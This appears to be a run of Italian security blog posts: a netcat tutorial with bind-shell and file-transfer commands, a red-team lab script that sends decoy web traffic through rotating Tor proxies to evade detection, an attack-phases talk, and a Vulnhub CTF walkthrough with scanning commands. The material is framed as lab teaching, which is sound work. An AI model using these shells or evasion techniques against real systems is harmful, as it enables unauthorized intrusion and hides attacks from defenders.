cyber security, hacking, podcast

Anti-DDoS

Qualche giorno fa, assieme ai mitici Stefano Giraldo, Andrea Dainese e Mario Rosi, abbiamo condiviso una sessione su Twitch (disponibile a breve anche sul mio canale YouTube) sul tema Anti-DDoS in cui Stefano ci ha illustrato il funzionamento delle tecnologie di mitigazione di questa tipologia di attacchi e gli scenari per una corretta difesa.

L’occasione è stata utile per discutere anche alcune tecniche di DDoS che fanno uso tattiche di “amplificazione” degli attacchi, una pratica particolarmente furba che vorrei approfondire in una delle prossime live.

Stefano ha acconsentito alla distribuzione delle slide che trovate di seguito:


Ringrazio ancora una volta Stefano per averci messo a disposizione il suo tempo e la sua competenza per discutere apertamente di temi complessi al solo scopo di condividere un po’ di cultura ed esperienza.

Alla prossima!

cyber security, hacking

Reverse Shell: giocare con netcat

Approfitto della sessione live #studywithme che ho iniziato a proporre il martedì sera sul mio canale Twitch per proporre una “dispensa” sugli argomenti trattati. Premetto che la live in questione è durata poco in quanto lo scorso martedì ero abbastanza provato dallo giornata, abbiamo comunque introdotto netcat e ci siamo scontrati (come spesso capita) con i limiti delle versioni disponibili per MS Windows.

Prima di passare all’esplorazione dell’utility dedico qualche minuto al reperimento della stessa. Mentre se avere una linux-box potrete tranquillamente installare quello che vi serve dai pacchetti della vostra distro, su Windows bisogna necessariamente reperire il binario ed assicurarsi che il vostro sistema anti-malware non lo vada a spianare al primo utilizzo. Per poterlo utilizzare nella mia macchina di test su VirtualBox ho dovuto necessitamene disattivare prima Defender e creare poi una eccezione. Ho utilizzato il binario disponibile qui: https://nmap.org/ncat/.

screen della vm Win10

Predisporre il lab con una macchina Windows ed una macchina Linux ci consente di seguire gli esempi della documentazione #OSCP. Ovviamente possiamo tranquillamente lavorare anche sono con ambienti *nix like.

Utilizzo base

Fondamentalmente netcat è una utility che ci consente di leggere e scrivere dati attraverso una connessione di rete sia via TCP che via UDP. Possiamo quindi utilizzarlo per connetterci ad un servizio come un POP o SMTP server:

classica connessione ad un servizio

Una delle funzionalità che più rimanda al tema delle reverse shell è la possibilità di mettere in listening su una porta specifica netcat:

$ nc -nlvp 1337
Listening on 0.0.0.0 1337

Una volta avviata la sessione possiamo ovviamente provare ad interagire ad esempio eseguendo una richiesta tramite un client come un browser:

HTTP GET da un browser

La funzione di per se è utile per fare delle verifiche a livello di comunicazione. Più frequentemente questa funzionalità è utilizzata per ricevere una sessione da un “client” netcat che, senza altri accorgimenti, consentirà di inviare e leggere i caratteri all’interno della sessione in entrambe le direzioni:

connessione “client/server”

Passando ad utilizzi più pragmatici vi è la possibilità di trasferire file da un sistema all’altro semplicemente con il comando:

$ nc -v {HOST} < /usr/share/windows-binaries/wget.exe
Connection to 192.168.1.12 1337 port [tcp/*] succeeded!

Ovviamente lato sistema target va prima reindirizzato l’output verso un file “destinazione”:

c:\Test>nc -nlvp 1337 > wget.exe
listening on [any] 1337 ...

Il risultato sarà l’upload del file wget.exe sulla macchina target.

E arriviamo all’utilizzo per il quale probabilmente è più famoso: la possibilità di gestire una shell attraverso una sessione. Il funzionamento in tal senso è molto semplice, abbiamo visto come aprire una sessione di comunicazione tra due macchine al fine di inviare semplici caratteri, ora possiamo utilizzare qualcosa di simile per legare un processo come cmd.exe alla sessione TCP. La funzionalità è disponibile solo per le versione che presentano il flag -e, controllare questo requisito.

c:\Test>nc -nlvp 1337 -e cmd.exe
listening on [any] 1337 ...

Il comando per connettersi alla sessione, che dovrebbe restituire il prompt dei comandi di DOS, è altrettanto semplice:

$ nc -v 192.168.1.12 1337
la classica reverse shell

Qualche curiosità

Netcat è uno strumento molto duttile utilizzato, anche se forse non frequentemente, in molteplici scenari. Ho raccolto qualche esempio che credo possa valere la pensa di tenere a mente.

Network port-scan

-w necessario per il timeout

HTTP requests


Qualche risorsa aggiuntiva:


Personalmente l’utilizzo principale è quello relativo alle reverse shell e l’impiego in contesti di troubleshooting su anomalie di rete o verifica della bontà delle richieste. L’utilizzo, negli esempi della porta 1337 è ovviamente un riferimento nerd al leet, ma è effettivamente la porta che utilizzo nei miei lavoratori. In contesti reali come attività di Pen Testing o simulazioni di solito valuto in base al contesto quali porte utilizzare e, soprattutto, non utilizzo netcat in queste modalità in quanto tutto il traffico sarebbe in chiaro. Nella prossima live, programmata per martedì 01 novembre, ci avviciniamo di più a quello che potremmo fare in una sessione di PenTesting.

cyber security, hacking

Eludere i controlli “network-based” [prima parte]

Abstract

Nelle attività di Red Teaming ed Adversary Simulation vi è la necessità di condurre l’azione, se lo scenario lo richiede, senza essere individuati. Una dalle attività che vorrei meglio indagare è la creazione di una falsa “baseline” per ingannare i sistemi di detection. In questo esercizio di laboratorio metto le basi per la creazione di traffico http/https da utilizzare per coprire azioni offensive verso una web application.

Scenario

Questo primo laboratorio nasce da una esigenza specifica che recentemente ho avuto modo di portare all’interno di una delle sessione live su Twitch: dovendo analizzare un sistema target senza essere identificati – e quindi “bloccati” dall’amministratore – ho avuto la necessità di generare traffico verosimile verso il sito web. Quasi contemporaneamente ho avuto modo di discutere con diversi Red Team di approccio e metodi per condurre azioni silenziose e ho voluto fare qualche esperimento.

Il target del laboratorio è una macchina dvwp, sistema che stiamo utilizzando io ed Andrea per le nostre sessioni Red vs. Blue ma va benissimo un qualsiasi web server in grado di registrare i log di accesso al sistema. Per eseguire la detection vorrei utilizzare un sistema in grado di analizzare i log in modo semplice. Mentre scrivo non so ancora se utilizzerò Splunk o Graylog.

Divido questa prima parte del lab in più step:

  1. Infrastruttura proxy per utilizzo di più IP sorgenti
  2. Script di crawling per definizione page list
  3. Script di generazione traffico

Una volta portata a termina la prima fase potremo iniziare ad osservare il comportamento dello script grazie all’analisi dei log.

Più sorgenti IP

Inizialmente avevo pensato di utilizzare una tecnica di spoofing con scapy, non ho completamente abbandonato l’idea ma facendo un po’ di prove ho trovato più utile in questa fase utilizzare la rete Tor per far pervenire al web server chiamate da diversi IP. Per generare una quantità di traffico verosimile, corrispondente a più utenti che contemporaneamente accedono al sito target, non basta un singolo proxy in quanto l’IP di navigazione sarebbe unico all’interno della stessa finestra di tempo. L’idea è quindi di avviare più istanze Tor per ottenere diversi “path” di navigazione e quindi, in teoria, diversi exit node.

Nei log del web server mi aspetto quindi vengano registrati gli accessi di almeno tre IP address, in caso di utilizzo di tre istanze proxy, che dovrebbero anche variare dopo qualche minuto.

Nota a margine: su Tor ho già scritto qualcosa in passato di cui consiglio la lettura.

A livello di implementazione la base Tor è molto semplice, è ovviamente necessario disporre di almeno una macchina linux in cui installare il pacchetto con il comando:

$ apt install tor

Una volta installato ed avviato il servizio dovreste poter controllare lo status dello stesso. Nel mio caso la situazione post installazione (ho utilizzato un host Ubuntu LTS) è la seguente:

stato del demone Tor

Di default Tor utilizza la porta 9050 sulla loopback della macchina server su cui è installato, nel nostro laboratorio dobbiamo fare qualche modifica per ottenere tre istanze su tre differenti porte utilizzando l’IP di una delle interfacce di rete del sistema.

Il file di configurazione di base è /etc/tor/torrc di cui creeremo tre copie: torrc_1, torrc_2, torre_3. Per ogni file di configurazione imposteremo tre diverse tcp port, nel mio caso 9061, 9062, 9063:

configurazione del file torrc_1

Nello stesso file va anche definita una DataDirectory specifica, nel mio caso ho definito i path /var/lib/tor1, /var/lib/tor2, /var/lib/tor3. Una volta predisposti i file di configurazione possiamo quindi avviare le nostre tre istanze con il comando:

$ sudo tor -f /etc/tor/torrc_1 &
$ sudo tor -f /etc/tor/torrc_2 &
$ sudo tor -f /etc/tor/torrc_3 &

Il risultato deve essere di tre processi attivi e relativi servizi sulle porte definite:

Giunti a questo risultato abbiamo predisposto la base proxy. Ovviamente la quantità di processi è a vostra discrezione, il consumo di per se è basso e dipende molto da quanto traffico si andrà a generare. Il sistema che ho utilizzato per questo LAB è il mio “cube-pc”, non particolarmente potente ma abbastanza carrozzato a CPU. Una volta a runtime raccoglierò anche la statistiche di carico.

Generare la lista delle pagine “valide”

Obiettivo del lab è generare traffico verosimile, non possiamo quindi permetterci di ottenere una sfilza di errori 404 come abbiamo avuto modo di osservare in una passata sessione Red vs. Blue con Andrea in occasione dell’utilizzo di DirBuster. L’idea è di utilizzare un semplice crawler per raccogliere i link disponibili in una pagina del sito target per generare poi le richieste che simuleranno il traffico di ipotetici utenti.

Di tools a questo scopo ce ne sono centinaia, ma visto che lo scopo di queste sessione sessioni è approfondire e capire ci armiamo di python e ci creiamo il nostro piccolo crawler. Nulla di particolare, dobbiamo solo accedere al contenuto di una pagina web, estrarre tutti i link (che in HTML sono definiti con <a href=”https://www.sito.web/”>link</a&gt;) e posizionarli in un file di comodo. Lo script fatto per l’occasione lo trovate nella mia repo GitHub all’interno del progetto sToolz: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/AnonHttpReq.

Il funzionamento è molto semplice, lo script va lanciato dandogli come parametro la URL del sito target ed il nome file su cui riportare i link:

test dello script su questo blog

Lo script utilizza il file generato scrivendo in “append” eventuali nuovi contenuti ed è possibile passare come paramento anche una specifica pagina ottenendo l’arricchimento della lista dei link.

Componiamo l’arma cibernetica

Ora abbiamo i proxy e la lista degli URL validi da utilizzare, manca solo lo script per generare delle requests realistiche. Si tratta di una componente in realtà molto semplice da realizzare in quanto per utilizzare un proxy in una chiamata http/https possiamo tranquillamente utilizzare il modulo requests di python. Volendo essere particolarmente precisi potremmo eseguire richieste ad intervalli irregolari attingendo dalle URL in modo random.

Lo script che realizziamo deve prevedere tre parametri in input: la URL target, il file in cui sono presenti i link generati dal crawler e le iterazioni (quante richiesta fare). Si tratterà quindi di un classico ciclo in cui, per ogni iterazione, sceglieremo random il link target ed il proxy da utilizzare. Di seguito la porzione di codice del prototipo (nella repo trovate tutto):

while (i <= counter):
    pos = randrange(0, urls_num)
    socksp = randrange(1, 4)
    print("Select URL in pos {}, proxy {}: \t{}".format(pos, socksp, urls[pos]))
    # session.get(urls[pos]).text
    session.proxies = { 'http':  'socks5://192.168.1.6:906{}'.format(socksp), 'https': 'socks5://192.168.1.6:906{}'.format(socksp) }
    session.get(urls[pos])
    i = i+1

Ovviamente gli IP indicati nei socks5 si riferiscono al mio laboratorio e terminato il prototipo avrà senso portare queste info in un file di configurazione assieme a molte altre variabili.

Se abbiamo già a disposizione un elenco URL in un file precedentemente creato possiamo eseguire una prova verso il nostro target:

$ python ./AnonHttpReq.py http://ec2-15-161-154-157.eu-south-1.compute.amazonaws.com aws.txt 10

Facendo qualche test ho notato che ogni tanto i proxy vanno in timeout, c’è sicuramente del tuning da fare per rendete tutto più fluido gestendo la specifica eccezione.

Cosa manca?

Nella repo di sToolz trovate tutti gli script aggiornati e nelle prossime ore ci rimetteremo mano assieme grazie alla Live su Twitch prevista per il 14 ottobre alle 21:30. Oltre a sistemare un po’ la struttura dello script dobbiamo ovviamente sistemare un po’ di dettagli come lo user agent che viene registrato dai log del web server.

Diciamo che la base è pronta, bisogna sistemare i dettagli e rendere tutto utilizzabile con un mail script unico. Dopo di che potremo mettere alla priva il risultato assieme ad Andrea e, nella seconda parte, vediamo come predisporre un controllo che rilevi questo tipo di azioni.

cyber security, update

Master Cybersecurity e Data Protection: appunti post docenza

Qualche giorno ho tenuto la mia docenza al Master organizzato da 24Ore Business School in Cybersecurity e Data Protection. E’ la mia terza docenza in questo contesto ma questa volta siamo riusciti ad organizzare la sessione in presenza. Bisogna dirlo: è tutta un altra cosa. Sono un convinto sostenitore del lavoro da remoto e del lavoro agile e in questo contesto va anche apprezzata l’esperienza “dal vivo” laddove questa porta valore.

l’aula di sabato 8/10, sono quello con la barba

Se l’esperienza ha portato valore ai colleghi in aula lo dovranno dire loro, apprezzati i feedback di chi leggerà questo post. Ha sicuramente portato valore a me che, nel poter guardare in faccia i colleghi, ho potuto ricevere immediati feedback anche solo dagli sguardi dei presenti e, tema non banale, ho apprezzato una maggiore partecipazione.

Tutti temi scontati e ovvi? Probabilmente si, ma in un mondo in cui la soggettività sta emergendo in modo preponderante non so quanto l’ovvio, inteso come senso comune, sia veramente ovvio. Di questa riflessione pseudo-sociologica, che ho letto non mi ricordo dove, ha trovato un chiaro esempio a questa ultima sessione del Master grazie ad una domanda.

Durante la sessione si è spesso parlato di rischi percepiti in riferimento al fatto che molte aziende non conoscono come alcune minacce cibernetiche si manifestano, situazione che porta le aziende ad ottenere una cattiva postura di sicurezza. Di questo tema ho molto parlato in passato parafrasando Sun Tzu che a tal proposito suggerisce di sviluppare una buona conoscenza del nemico per definire una buona strategia di difesa.

Mostrando alcuni elementi “base” di ciò che i threat actor osservano delle proprie potenziali vittime e di come vengono sfruttate determinate informazioni apparentemente di poco conto una domanda ricorrente è stata: “ma le aziende sono consapevoli?“. Domanda estremamente corretta visto il contesto è che punta ad un tema che è forse il vero punto di partenza di un percorso, in ambito sicurezza informatica, che abbia veramente un senso. Come è possibile che elementi che sono ovviamente – dal mio punto di vista – sfruttabili da potenziali avversari siano così poco gestiti dalle organizzazioni?

Non ci sono scorciatoie per ottenere una buona postura di sicurezza, necessariamente dobbiamo prima maturare una certa consapevolezza di ciò che dobbiamo affrontare, ognuno nel nostro campo (non esiste solo il mondo tech). Adottare soluzioni che fungono in realtà da rimedio temporaneo ad un malessere che non abbiamo compreso bene rischia di non farci raggiungere l’obiettivo. Ogni tanto qualcuno afferma che sia “meglio di niente” in riferimento all’introduzione di nuove tecnologie o servizi pensati per la sicurezza informatica. Probabilmente lo è, ma in questo paragone dovremmo cominciare ad inserire anche il peso di un falso senso di sicurezza. Le classiche situazioni da “porte blindate e finestre aperte” sono fin troppo frequenti e non rappresentano un miglioramento.

E’ corretto portale l’attenzione sulla consapevolezza, cosa che possiamo acquisire visto che siamo capaci di ragionare ed assimilare informazioni.

Questa sessione del Master ci ha dato modo di confrontarci direttamente oltre che presentare ciò che era in programma. Il confronto diretto resto, per me, uno strumento potentissimo che vorrei continuare ad incentivare. In questo momento chi vuole confrontarsi con me e con gli altri attori di questo mondo mi trova sempre disponibile su LinkedIn ed ogni venerdì sera in una Live dedicata su Twitch. Vi aspetto.

cyber security, update

Come funziona un attacco informatico (speech GDPR day ’22)

Il 5 ottobre ho presenziato al GDPR day organizzato dal super Federico Lagni a Bologna. Quest’anno il mio team ha partecipato con una sponsorizzazione all’evento che ha l’obiettivo, che condivido pienamente, di formare oltre che informare.

Per 25 minuti abbiamo raccontato uno spaccato di realtà di come operano i threat actor (anche io uso un po’ di parole fighe ogni tanto) illustrando le fasi di un tipico attacco, tratto da esperienze sul campo, per analizzarlo assieme e comprenderne i meccanismi. L’obiettivo è, come spesso racconto, conoscere meglio il nostro “nemico” e, di conseguenza, comprendere come difenderci in modo efficace.

In questo post, che probabilmente sarà un po’ lungo, voglio raccontarvi quello di cui abbiamo parlato. Ovviamente leggerlo su queste pagine non è uguale ad ascoltarlo durante la sessione con la possibilità di interagire e discuterne assieme, ma confido in future occasioni alle prossime edizioni di questo o altri eventi.

Fasi di un attacco

Spesso si ha l’idea che un attacco sia una singola e deflagrante azione, un singolo colpo. Ciò che avviene è in realtà molto diverso sia per la quantità di attività che precedono l’azione di attacco vero e proprio che per i tempi che queste attività richiedono. Gli addetti ai lavori parlano infatti di “fasi” di un attacco informatico. Esistono diversi modelli che sintetizzano le fasi di un attacco di cui nell’immagine che segue ne riporto uno relativamente recente in riferimento ad una specifica tipologia di attacco: i ransomware.

Più in generale l’attacker inizia la sua attività da una fase ricognitiva in cui raccoglie informazioni sul target. Ognuno di noi, sia come individui che come membri di una organizzazione, semina diverse tracce ed informazioni in rete sul proprio conto: contatti, abitudini, preferenze, qualifiche. Questo patrimonio di dati viene raccolto ed analizzato al fine di costruire un modello del target da studiare; ovviamente vi è una proporzionalità tra l’accuratezza della profilazione e la quantità di informazioni disponibili.

Alcune informazioni possono essere reperite grazie ad azioni più invasive come una campagna di phishing mirata e studiata appositamente per entrare in possesso di una credenziale valida. Altre potrebbero non richiedere azioni dirette verso il target: in alcuni casi l’attacker potrebbe accedere o acquistare informazioni o dati relativi a precedenti azioni offensive verso l’organizzazione o ai datti di uno dei dipendenti.

Facciamo un paio di esempi pratici per comprendere meglio che dati possono essere utilizzati contro di noi ed in che modo vengono reperiti.

Banking scam

Un’azienda si rende conto di aver subito una truffa bancaria: un cliente afferma di aver provveduto ad un pagamento a seguito di una email da parte di uno dei commerciali dell’azienda ma tale pagamento non è mai giunto a destinazione.

Dal DFIR report (Digital Forensics and Incident Response) emergono alcune evidenze:

  • l’email inviata al cliente risulta essere autentica
  • viene identificato un accesso non autorizzato all’account email del commerciale
  • la password dell’email personale del commerciale è disponibile su “have I been pwned”
  • l’account del commerciale non dispone di MFA

Con queste informazioni certe in mano possiamo cominciare ad ipotizzare cosa sia successo.

Partiamo dalla cattiva abitudine di riutilizzare password in diversi account. Ne parlo spesso: se la credenziale è la stessa o simile per tutti gli account ovviamente siamo nella condizione in cui anche un solo breach possa avere impatto verso tutti i nostri account. Nel caso specifico la credenziale individuata dall’attacker era quella dell’account di posta elettronica personale del dipendente. E’ già un caso abbastanza eclatante, molto più frequentemente vengono sfruttati data breach di servizi anche molto banali e forse considerati di bassissimo impatto per l’utente che ne fruisce. Potrebbe essere il portale della biblioteca comunale o il sito di un piccolo esercizio dove siamo clienti occasionali. Non importa, se utilizziamo la stessa password che utilizziamo per la posta elettronica aziendale stiamo semplicemente aumentando la superficie attaccabile.

L’assenza di MFA riduce la complessità di una azione offensiva: sarebbe stato molto più complesso e probabilmente non fattibile per l’attacker accedere all’account di posta elettronica se l’organizzazione avesse implementato questo tipo di tecnologia. Da sottolineare che anche in questo caso vi sono metodi di bypass che fanno conto sull’ingenuità e sulla pigrizia degli utenti (parleremo in un altra occasione degli attacchi alla MFA).

Per chi è del mestiere la situazione è già abbastanza chiara. L’attacker ha trovato una credenziale valida e si è assicurato un accesso al servizio di posta da cui ha potuto comodamente consultare i contenuti, gli scambi, i contatti della vittima. Una volta contestualizzato il tutto è stato scelto un cliente con cui la vittima abitualmente dialogava per inviare una email di cambio coordinate bancaria.

Nella sua semplicità l’attacco è estremamente efficace e ci si rende conto di ciò che è avvenuto a cose ormai fatte. Ragionare sui modelli utilizzati dagli attacker per eseguire azioni offensive ci consente di individuare dove l’organizzazione deve migliorare:

  • c’è sicuramente un tema di awareness da considerare visto l’utilizzo un po’ ingenuo delle credenziali da parte della vittima
  • probabilmente qualche presidio di sicurezza in più per i servizi IT non sarebbe male, abbiamo parlato di MFA ma anche un controllo sulle tipologie di accesso aiuterebbe
  • è evidente che non ci sono o non vengono rispettare procedure di verifica delle comunicazioni laddove vi è uno scambio di informazioni sensibili o che toccano processi CORE come la fatturazione e la gestione del credito

Il ragionamento può essere esteso alle metodologie di assessment utili ad eseguire una qualifica dei punti deboli di un’organizzazione al fine di costruire un piano di rimedio coerente con le effettive esposizioni che il target presenta agli occhi di un attacker. L’idea è quindi di spostare il focus, il più velocemente possibile, sulle azioni da compiere per ridurre la superficie attaccabile laddove l’esposizione corrisponde ad una opportunità reale di attacco con relativo impatto sul business.

Ancora una volta prima degli strumenti viene la cultura e la consapevolezza.

Condivido le slide presentate anche se, come sempre, hanno più senso se commentate. Se l’argomento è di interesse (attendo feedback) valuto la registrazione di una presentazione del contenuto per intero. Qui allego le slide:

cyber security, hacking

Attack and Defense: post-live del 21 settembre

Non l’ho fatto per la prima live in coppia con Andrea, ho pensato di farlo per la seconda sessione di ieri sera sul canale di Security Cert. Come ho raccontato un paio di settimana fa abbiamo in testa questa idea da qualche tempo ormai: condividere delle sessioni di analisi di un target per definire una strategia di attacco (lato mio) e una strategia di difesa (lato Andrea). Nella prima puntata abbiamo visto il contesto e la base di partenza del lab, una tipica VPS che espone una web app con qualche vulnerabilità. Ieri, in occasione della seconda puntata, abbiamo iniziato ad analizzare il target ed il questo post faccio un po’ la sintesi di quello che ci siamo detti, ovviamente dal mio punto di vista.

Qualche info di servizio prima di iniziare a discutere le azioni intraprese:

  • il video della live è archiviato sul canale YouTube di SecurityCert e lo trovate qui
  • sul mio canale porterò avanti le fasi di preparazione alla live, trovate la programmazione qui
  • la prossima live è programmata per il 06/10/2022
  • se volete partecipare attivamente alla sessione assieme ad Andrea (nelle azioni difensive) o assieme a me (nelle azioni offensiva) i dati di accesso all’ambiente vengono condivisi con i partecipanti alla sessione

Cosa abbiamo di fronte

Tra le prime azioni intraprese abbiamo ovviamente eseguito una scansione del sistema target. Essendo una macchina di recente installazione che è solitamente off-line (il lab viene disattivato quando non siamo live) non vi è possibilità di utilizzare tecniche passive come l’analisi di precedenti versioni dell’applicazione (Wayback Machine) o i rilevamenti di scansioni terze (Shodan).

Con il più classico degli nmap abbiamo ottenuto l’elenco dei servizi:

  • porta tcp\22 (ssh)
  • porta tcp\80 (apache2)
  • porta tcp\3306v (mysql)

L’accesso al DB è stato subito dall’esterno è stato quasi subito inibito da Andrea, in effetti non aveva senso e come prima azione ci era venuto in mente di tentare un brute force attack.

L’applicazione web espone un sito in WordPress che abbiamo subito preso in esame. Come discusso il live la prima cosa che verrebbe in mente a chiunque è di utilizzare dirb per dare un occhio ai path esposti e wpscan per verificare lo stato dell’applicazione, cosa assolutamente sensata e lo faremo anche noi. Prima ho voluto lasciare spazio a qualche tools/servizio terze parti per vedere che tipo di info avrebbero portato all’attenzione. Ve ne cito alcuni tra quelli provati, dateci un occhio anche voi:

Qualche elemento interessante da queste scansioni è emerso ma nulla di particolare, qualche risultato lo abbiamo commentato assieme in live. La scansione tramite wpscan da invece dei risultati molto chiari:

  • vengono enumerati due utenti (admin e events)
  • vengono rilevate tre plugin segnalate come out of date

Da una ricerca su wpscan.com emergono le potenziali vulnerabilità per:

  • wp-advanced-search v3.3.3
  • social-warfare <= 3.5.2
  • wp-file-upload

Nel rilevare le informazioni base che ci consentiranno di definire un modello di attacco abbiamo discusso delle evidenze che le nostre azioni hanno generato, in particolare i log che Andrea riusciva chiaramente a ricondurre alle nostre azioni.

ToDo per la prossima sessione

E’ evidente che siamo stati troppo rumorosi e il parte questo era lo scopo della sessione. In un contesto di Penetration Testing potrebbe anche non essere un problema ma in ambito Red Team lo è. Quindi per la prossima sessione sicuramente dobbiamo dotarci di uno strumento per generare traffico realistico sul sistema.

Una volta che abbiamo la possibilità di confonderci nella mischia inizieremo a verificare la possibilità di utilizzare le vulnerabilità plausibili per costruire una tattica di attacco.

Continua.

cyber security, hacking

Breakout [prima parte]: analisi ed exploiting

Qualche settimana fa rispetto a questo post Paolo Perego ha annunciato e pubblicato un video sull’analisi e l’exploiting di una macchina vulnhub: Breakout. In quel momento stavo valutando che contenuti presentare live su Twitch per il mese di agosto avendo previsto una minor partecipazione e volendo dedicare del tempo ad affinare un po’ le tecniche di red teaming. Ho quindi pensato di non guardare subito il video e di proporre live una sessione in cui eseguire lo stesso esercizio e, in un secondo momento, organizzare un confronto con Paolo per discutere i differenti approcci che possono essere utilizzati.

La scorsa settimana ho quindi tenuto la live in cui abbiamo, assieme ai presenti, giocato con la macchina fino a guadagnarci una shell come root. Da qui sono nate un po’ di riflessioni su come un attacker potrebbe agire in un contesto simile anche se, come discusso, per certi versi non proprio così realistico. Oltre al tema dell’accesso al sistema ci sono almeno altri due argomenti da approfondire: il post-exploiting e l’accesso permanente tramite un Command and Control (C2). Andiamo con ordine.

Scenario

La macchina è disponibile in formato OVA sul sito di vulnhub a questo link, è possibile quindi scaricare ed importare rapidamente il sistema sia su VMware Workstation/ESXi che su VirtualBox. La configurazione di default del sistema presenta una NIC configurata in DHCP, una volta accesa la macchina e collegata la NIC il sistema chiederà al DHCP server della rete in cui lo avrete posizionato un indirizzo IP usabile.

breakout console

Nel laboratorio presentato durante la live abbiamo fatto tutto praticamente solo con due VMs: la macchina Kali utilizzata come base di partenza delle azioni offensive e la macchina Breakout. Il laboratorio che utilizzeremo in questa sessione è lievemente più esteso per avvicinarci ad un contesto reale ed è composto da:

  • il mio laptop con la wls Kali dietro NAT
  • un server/host per ospitare le guest:
    • una VM ubuntu che utilizzeremo come macchina d’appoggio
    • la VM target

Fatta eccezione per la Kali tutte le altre VM connesse alla rete LAN del laboratorio e sono quindi nello stesso dominio di broadcast.

conf. di rete della macchina Kali

Ovviamente non ci sono particolari vincoli nella configurazione del laboratorio, accertatevi sono di avere almeno un sistema di grado di dialogare in modo bidirezionale con la macchina target in modo da lasciarci aperte più opzioni di comunicazione.

Rilevamento della macchina target e delle applicazioni

In questo caso è un’operazione superflua in quando siamo perfettamente a conoscenza dell’indirizzo IP della macchina target. In un contesto reale saremmo partiti da una serie di rilevamenti utilizzando tecniche di scansione passiva e attiva. Facendo un semplice scansione con nmap possiamo renderci conto di cosa c’è in rete, solitamente io inizio con qualcosa di molto leggero usando la funzione TCP Connect Scan o anche semplicemente con un hping:

$ nmap -sT 192.168.1.8
output della mia TCP Connect Scan
$ sudo hping3 192.168.1.x --rand-dest --interface eth0

Una volta individuata la macchina target ha sicuramente senso intensificare la scansione per raccogliere qualche info aggiuntiva sul sistema, in particolare ci interessa capire tutto ciò che espone a livello di servizi e, se possibile, qualche dato sulle applicazioni che stanno dietro. Continuiamo con nmap ma andiamo a verificare tutte le porte ed utilizziamo anche tutti gli script disponibili di default:

$ nmap -p- -sV --script=default 192.168.1.8 -oA breakout-scan.txt

Per comodità l’output lo salviamo su in file in modo da annotare quanto rilevato e consultarlo in caso di necessità senza eseguire nuove scansioni.

output della scansione

Abbiamo un bel po’ di dati, andiamo con ordine e vediamo cosa ci racconta di se il nostro target.

Porta 80/tcp aperta

La porta 80 è tra le più famose e ci fa pensare che il sistema abbia un web server attivo che nmap rileva come Apache versione 2.4.51. Viene anche individuato il sistema operativo Debian. Se è veramente disponibile un web server possiamo verificarlo facilmente semplicemente aprendo il browser e puntando all’IP della macchina target:

La default page di Apache2 è sufficientemente eloquente.

Porte 139\tcp e 445\tcp

Viene identificato un servizio Samba versione 4.6.2 che ci potrebbe aiutare ad approfondire qualche dato utilizzando specifici tools di enumerazione e verifica delle configurazioni “disponibili”.

Porte 10000\tcp e 20000\tcp

Viene rilevata l’applicazione “Webmin” in due differenti versioni: sulla porta 10000 è attiva la versione 1.981, sulla porta 20000 è attiva la versione 1.830. Durante la live mi sono documentato sull’applicazione che non avevo mai incontrato, si tratta di un tool per gestire server e applicazioni di uso comune come sistemi di pubblicazione contenuti, database, job.

Le due porte tcp sono di fatto utilizzate per esporre le interfacce web dell’applicazione Webmin e possiamo dare una sbirciata a ciò che si vede semplicemente accedendo con il nostro browser in https e specificando la porta da utilizzare:

Interfaccia di accesso amministrativo per webmin

Mentre la porta 10000 presenta la schermata di login per l’area amministrativa, sulla porta 20000 si potrà notare un’interfaccia leggermente diversa che fa riferimento a Usermin. Si tratta di fatto di due diverse applicazioni con scopi differenti ma soprattutto i relativi utenti hanno privilegi di accesso al sistema molto differenti: la parte amministrativa potrebbe infatti accedere con privilegi di root.

Analisi dei contenuti web

Durante la mia live a questo punto sono passato ad analizzare ciò che era visibile, ovvero le pagine web e le relative componenti, cercando documentazione specifica sull’applicazione che evidentemente viene pubblicata dal sistema. Paolo nella sua analisi ha eseguito anche un altro controllo che sul momento a me non era venuto in mente: con GoBuster ha dato un’occhiata alle directory pubblicate.

Per usare tools come GoBuster è indispensabile disporre di qualche wordlist e se usate kali troverete un patrimonio di file in /usr/share/wordlist. Anche per questo lab sto utilizzando kali ma è una installazione minima su wls2, devo quindi prima installare il pacchetto:

sudo apt install wordlist

Altre wordlist sono facilmente reperibili online, personalmente utilizzo quella di dirbuster disponibile qui: https://github.com/daviddias/node-dirbuster/tree/master/lists.

Abbiamo tutto il necessario per iniziare la scansione. Vi suggerisco, vista la dimensione dell’output, di buttare tutto in un file dedicato. L’operazione potrebbe richiedere qualche minuto e non è detto che si trovino informazioni utili.

$ gobuster dir -w /usr/share/wordlists/dirb/directory-list-lowercase-2.3-medium.txt -u https://192.168.1.8:10000 --wildcard -k > breakout_p10000.txt

E’ interessante osservare l’effetto di un’attività di questo tipo sulla macchina target: nel mio caso ho creato una VM con una vCPU a cui è stato assegnato il 70% di un vCORE della macchina host. Con la scansione attiva la macchina guest si trova ad avere il 100% di CPU usage a testimoniare che alcune azioni possono essere anche molto invasive in termini di system load. Se un attacker utilizzasse una tecnica di questo tipo senza eseguire prima del tuning a livello di richieste per secondo è molto probabile che i sistemi di monitoraggio segnalino anomalie di carico.

htop della macchina host: è ben visibile il processo VirtualBoxVM della macchina target

Nota tecnica sui tools di Directory Discovery: che sia GoBuster, DirBuster, fuff, […] il principio non cambia, usate quello che vi pare.

Oltre alla directory è opportuno verificare il contenuto delle pagine web. In questo caso abbiamo tre contenuti html: la default page di apache e le due login page di Webmin. Su questi specifici contenuti è possibile dare una semplice occhiata al sorgente o, per analisi più approfondite, utilizzare tools come BurpSuite (nella versione pro) per eseguire una scansione dell’applicazione a caccia di specifiche vulnerabilità.

In questo caso siamo in un contesto CTF e non è raro che vengano disseminati piccoli indizi qua e la nei sistemi, una veloce verifica del sorgente HTML porta infatti in evidenza uno di questi indizi: alla default page di apache è stata fatta un’aggiunta.

Si tratta di un commento HTML che riporta un testo cifrato con un metodo noto come Brain F*ck. Google è vostro, non farete nessuna fatica a trovare un tool di decodifica da cui uscirà una stringa che qui in parte nascondo: .2uqPEfj3D<P’*** .

Ha l’aspetto di una password e visto il messaggio nel commento HTML probabilmente lo è ma non abbiamo idea dell’utente associato. Durante la live ho provato ad utilizzare questa potenziale password associata all’utente root e admin su entrambe le interfacce di login ma senza successo.

Analisi dei servizi SMB

La scansione delle porte ha riportato la presenza di un servizio Samba 4.6.2 attivo sul sistema per il quale possiamo fare diverse verifiche a caccia di ulteriori informazioni o anche di livelli di accesso specifici. Per fare enumeration di smb abbiamo moltissimi tools a disposizione, primo tra tutti citerei enum4linux che di fatto ho utilizzato per primo anche in questo caso:

enum4linux con opzione -a

